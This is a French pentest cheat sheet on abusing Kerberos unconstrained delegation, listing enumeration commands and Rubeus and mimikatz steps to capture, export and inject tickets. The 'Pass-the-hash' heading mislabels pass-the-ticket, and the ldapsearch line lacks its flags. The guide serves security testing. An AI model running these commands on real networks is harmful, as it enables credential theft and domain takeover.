La délégation Kerberos permet à un service d'emprunter l'identité d'un utilisateur pour accéder à d'autres ressources sur le réseau.
L'**Unconstrained Delegation** (délégation sans contrainte) est la forme la plus ancienne et la plus dangereuse de délégation. Lorsqu'elle est activée sur une machine (ou un compte de service), le Contrôleur de Domaine (DC) fait une confiance aveugle à cette machine.
## Enumération
### Avec PowerView
```powershell
# Trouver les ordinateurs
Get-NetComputer -Unconstrained
# Trouver les utilisateurs (comptes de service potentiels)
Get-NetUser -Unconstrained
```
### Avec le module ActiveDirectory
```powershell
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description
```
### Avec NetExec
```bash
netexec ldap $ip -u $user -p $pass --trusted-to-delegate
```
### Avec ldapsearch
```bash
ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)) --attributes samaccountname
```
## Exploitation
### Récupérer un TGT
Via monitoring :
```powershell
.\Rubeus.exe monitor
```
Ou extraction d'un tgt déjà présent, avec mimikatz par exemple :
```powershell
sekurlsa::tickets /export
```
## Pass-the-hash
```powershell
# Avec Rubeus (depuis base64 ou fichier)
.\Rubeus.exe ptt /ticket:doIFujCCBba...
.\Rubeus.exe ptt /ticket:ticket_leticket.kirbi
# Avec Mimikatz
mimikatz # kerberos::ptt ticket_leticket.kirbi
```